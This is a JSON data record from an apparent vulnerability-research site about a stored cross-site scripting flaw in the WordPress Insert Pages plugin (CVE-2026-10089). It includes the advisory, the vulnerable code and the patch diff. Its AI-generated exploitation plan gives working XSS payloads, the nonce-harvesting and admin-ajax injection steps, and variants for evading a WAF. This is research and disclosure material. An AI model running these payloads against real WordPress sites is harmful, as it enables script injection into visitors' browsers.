[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$faBq2gE9tkZ6gBmIN1LW5kvMu5YSWlGOdx_9_A7vqQJA":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":24,"research_verified":25,"research_rounds_completed":26,"research_plan":27,"research_summary":28,"research_vulnerable_code":29,"research_fix_diff":30,"research_exploit_outline":31,"research_model_used":32,"research_started_at":33,"research_completed_at":34,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":25,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":25,"source_links":35},"CVE-2026-10089","insert-pages-authenticated-author-stored-cross-site-scripting-via-custom-field-keys-meta-key-names","Insert Pages \u003C= 3.11.4 - Authenticated (Author+) Stored Cross-Site Scripting via Custom Field Keys (Meta Key Names)","The Insert Pages plugin for WordPress is vulnerable to Stored Cross-Site Scripting via post custom field keys (meta key names) in all versions up to, and including, 3.11.4. This is due to insufficient output escaping in the the_meta() function: while the custom field VALUE is sanitized with wp_kses_post(), the custom field KEY ($key) is interpolated into the rendered HTML (lines 1786-1791) and echoed (line 1806) without any escaping when an inserted page is rendered with the [insert page='ID' display='all'] shortcode. This makes it possible for authenticated attackers, with author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","insert-pages",null,"\u003C=3.11.4","3.11.5","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-07-01 17:21:08","2026-07-02 05:35:13",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fa4246181-d331-46b0-ad48-e2ece11b2f5f?source=api-prod",1,[22,23],"insert-pages.php","readme.txt","researched",false,3,"# Exploitation Research Plan: CVE-2026-10089\n\n## 1. Vulnerability Summary\n**CVE-2026-10089** is a Stored Cross-Site Scripting (XSS) vulnerability in the **Insert Pages** plugin (\u003C= 3.11.4). The vulnerability exists in the plugin's custom implementation of meta-data rendering (likely a function named `the_meta()`). While the plugin sanitizes custom field *values* using `wp_kses_post()`, it fails to escape the custom field **key** (the name of the meta entry). An authenticated attacker with Author-level permissions can create a post with a malicious meta key. When this post is embedded into another page using the `[insert display='all']` shortcode, the script executes in the context of any user viewing the page.\n\n## 2. Attack Vector Analysis\n*   **Authentication Level:** Author or higher (Users who can create posts and manage custom fields).\n*   **Vulnerable Endpoint:** Frontend pages where the `[insert]` shortcode is rendered.\n*   **Injection Point:** Post Custom Field Keys (Meta Keys).\n*   **Payload Parameter:** `metakeyinput` or `metakeyselect` (during post creation\u002Fedit).\n*   **Trigger:** The shortcode `[insert page='{ID}' display='all']`. The `display='all'` attribute is the critical trigger that forces the plugin to iterate through and display meta keys.\n\n## 3. Code Flow\n1.  **Entry Point:** `insert_pages_handle_shortcode_insert()` (shortcode handler) is invoked when WordPress parses `[insert]`.\n2.  **Parameter Processing:** The handler extracts the `display` attribute.\n3.  **Conditional Branch:** If `display === 'all'`, the plugin logic proceeds to render all post components, including custom fields.\n4.  **Vulnerable Sink:** The plugin calls a helper function (identified in the description as `the_meta()` around lines 1786-1806 in `insert-pages.php`).\n5.  **Iteration:** The code iterates through the results of `get_post_custom_keys($post_id)`.\n6.  **Rendering (Line 1806):** The variable `$key` is echoed directly into the HTML buffer without using `esc_html()` or `esc_attr()`, whereas the `$value` is correctly passed through `wp_kses_post()`.\n\n## 4. Nonce Acquisition Strategy\nTo inject the payload, the attacker must add a custom field to a post. In WordPress, this usually requires an admin-ajax nonce for the `add-meta` action.\n\n1.  **Identify Shortcode:** The plugin's primary shortcode is `[insert]`.\n2.  **Create Setup Page:** \n    ```bash\n    wp post create --post_type=page --post_status=publish --post_title=\"XSS Trigger\" --post_content='[insert page=\"SOURCE_ID\" display=\"all\"]'\n    ```\n3.  **Obtain Injection Nonce:** \n    To inject via HTTP (simulating the UI), the agent should:\n    *   Login as an Author.\n    *   Navigate to `wp-admin\u002Fpost-new.php`.\n    *   Extract the `_ajax_nonce-add-meta` from the page source using `browser_eval`.\n    *   `browser_eval(\"document.getElementById('_ajax_nonce-add-meta')?.value\")`\n\n*Note: If the agent has Author credentials, the most direct path for the PoC is to use the `admin-ajax.php` endpoint with the `add-meta` action.*\n\n## 5. Exploitation Strategy\n\n### Step 1: Inject Stored XSS\nThe attacker (Author) adds a custom field where the **Name** is the payload.\n\n*   **Endpoint:** `http:\u002F\u002F\u003Ctarget>\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Method:** POST\n*   **Content-Type:** `application\u002Fx-www-form-urlencoded`\n*   **Parameters:**\n    *   `action`: `add-meta`\n    *   `_ajax_nonce-add-meta`: (Obtained from Step 4)\n    *   `post_id`: {SOURCE_POST_ID}\n    *   `metakeyinput`: `\u003Cimg src=x onerror=alert(document.domain)>`\n    *   `metavalue`: `SafeValue`\n\n### Step 2: Trigger XSS\nCreate or edit a second post (the \"Trigger Page\") containing the shortcode pointing to the \"Source Post\".\n\n*   **Shortcode:** `[insert page='{SOURCE_POST_ID}' display='all']`\n\n### Step 3: Execution\nNavigate to the \"Trigger Page\" URL as an unauthenticated user or an administrator.\n\n## 6. Test Data Setup\n1.  **Attacker User:** Create a user with the `author` role.\n2.  **Source Post:** Create a post (ID: X) as the Author.\n3.  **Trigger Page:** Create a public page (ID: Y) containing `[insert page='X' display='all']`.\n4.  **Custom Field:** Use `wp-cli` to quickly set up the vulnerable state if the HTTP injection is blocked by environment firewalls:\n    ```bash\n    wp post meta add {X} \"\u003Cimg src=x onerror=alert(document.domain)>\" \"vulnerable\"\n    ```\n\n## 7. Expected Results\n*   When viewing the \"Trigger Page\", the browser should attempt to render an image with a broken source (`x`).\n*   The `onerror` event handler will execute the JavaScript.\n*   An alert box showing the document domain will appear.\n*   In the HTML source, the meta list will look like:\n    `\u003Cli>\u003Cspan class='post-meta-key'>\u003Cimg src=x onerror=alert(document.domain)>\u003C\u002Fspan> ...\u003C\u002Fli>`\n\n## 8. Verification Steps\n1.  **Verify Database State:**\n    ```bash\n    wp db query \"SELECT meta_key FROM wp_postmeta WHERE post_id={SOURCE_ID} AND meta_value='vulnerable';\"\n    ```\n2.  **Check Page Output:**\n    Use the `http_request` tool to fetch the Trigger Page and grep for the raw payload:\n    ```bash\n    # The payload should appear UNESCAPED\n    grep \"\u003Cimg src=x onerror=alert(document.domain)>\" \n    ```\n\n## 9. Alternative Approaches\n*   **SVG Payload:** If the site has a WAF blocking `\u003Cimg>` tags, try a meta key containing a small SVG:\n    *   `metakeyinput`: `\u003Csvg\u002Fonload=alert(1)>`\n*   **Attribute Breakout:** If the key is reflected inside an attribute (though the description says it is interpolated in HTML), try:\n    *   `metakeyinput`: `\">\u003Cscript>alert(1)\u003C\u002Fscript>`\n*   **REST API:** Authors can often add meta via the REST API if the meta key is registered as \"show_in_rest\". However, for arbitrary \"Custom Fields\", the `admin-ajax.php` `add-meta` action is the most reliable vector.","The Insert Pages plugin for WordPress is vulnerable to Stored Cross-Site Scripting via post custom field keys in versions up to 3.11.4. This occurs because the plugin fails to escape the meta key name when rendering a post using the [insert display='all'] shortcode, allowing authenticated authors to inject malicious scripts into the rendered HTML.","\u002F\u002F From insert-pages.php lines 1780-1806 in version 3.11.4\n$values = array_map( 'trim', get_post_custom_values( $key, $post_id ) );\n$value  = implode( ', ', $values );\n\n\u002F\u002F Sanitize post meta values.\n$value = wp_kses_post( $value );\n\n$html = sprintf(\n    \"\u003Cli>\u003Cspan class='post-meta-key'>%s\u003C\u002Fspan> %s\u003C\u002Fli>\\n\",\n    \u002F* translators: %s: Post custom field name. *\u002F\n    apply_filters( 'the_meta_key', $key, $value ),\n    $value\n);\n\n\u002F\u002F ... lines 1792-1801 omitted ...\n\n$li_html .= apply_filters( 'the_meta_key', $html, $key, $value );\n}\n\nif ( $li_html ) {\n    echo \"\u003Cul class='post-meta'>\\n{$li_html}\u003C\u002Ful>\\n\";\n}","--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Finsert-pages\u002F3.11.4\u002Finsert-pages.php\t2026-05-19 00:16:18.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Finsert-pages\u002F3.11.5\u002Finsert-pages.php\t2026-06-19 23:36:52.000000000 +0000\n@@ -1780,9 +1780,6 @@\n \t\t\t\t\t$values = array_map( 'trim', get_post_custom_values( $key, $post_id ) );\n \t\t\t\t\t$value  = implode( ', ', $values );\n \n-\t\t\t\t\t\u002F\u002F Sanitize post meta values.\n-\t\t\t\t\t$value = wp_kses_post( $value );\n-\n \t\t\t\t\t$html = sprintf(\n \t\t\t\t\t\t\"\u003Cli>\u003Cspan class='post-meta-key'>%s\u003C\u002Fspan> %s\u003C\u002Fli>\\n\",\n \t\t\t\t\t\t\u002F* translators: %s: Post custom field name. *\u002F\n@@ -1802,8 +1799,9 @@\n \t\t\t\t\t$li_html .= apply_filters( 'the_meta_key', $html, $key, $value );\n \t\t\t\t}\n \n+\t\t\t\t\u002F\u002F Sanitize and print post meta values.\n \t\t\t\tif ( $li_html ) {\n-\t\t\t\t\techo \"\u003Cul class='post-meta'>\\n{$li_html}\u003C\u002Ful>\\n\";\n+\t\t\t\t\techo '\u003Cul class=\"post-meta\">' . wp_kses_post( $li_html ) . '\u003C\u002Ful>' . PHP_EOL;\n \t\t\t\t}\n \t\t\t}","An attacker with Author-level permissions or higher can exploit this vulnerability through the following steps:\n1. Create a new post or edit an existing one (the \"Source Post\").\n2. Add a custom field (meta data) to the Source Post where the Meta Key (name) contains a JavaScript payload, such as `\u003Cimg src=x onerror=alert(document.domain)>`.\n3. Create or edit a second post (the \"Trigger Page\") and include the plugin's shortcode referencing the Source Post: `[insert page='SOURCE_POST_ID' display='all']`.\n4. When a user (including an administrator) views the Trigger Page, the plugin renders all custom fields of the Source Post. \n5. Because the meta keys are echoed directly into the page without escaping, the JavaScript payload executes in the victim's browser context.","gemini-3-flash-preview","2026-07-25 11:25:38","2026-07-25 11:26:15",{"type":36,"vulnerable_version":37,"fixed_version":11,"vulnerable_browse":38,"vulnerable_zip":39,"fixed_browse":40,"fixed_zip":41,"all_tags":42},"plugin","3.11.4","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Finsert-pages\u002Ftags\u002F3.11.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Finsert-pages.3.11.4.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Finsert-pages\u002Ftags\u002F3.11.5","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Finsert-pages.3.11.5.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Finsert-pages\u002Ftags"]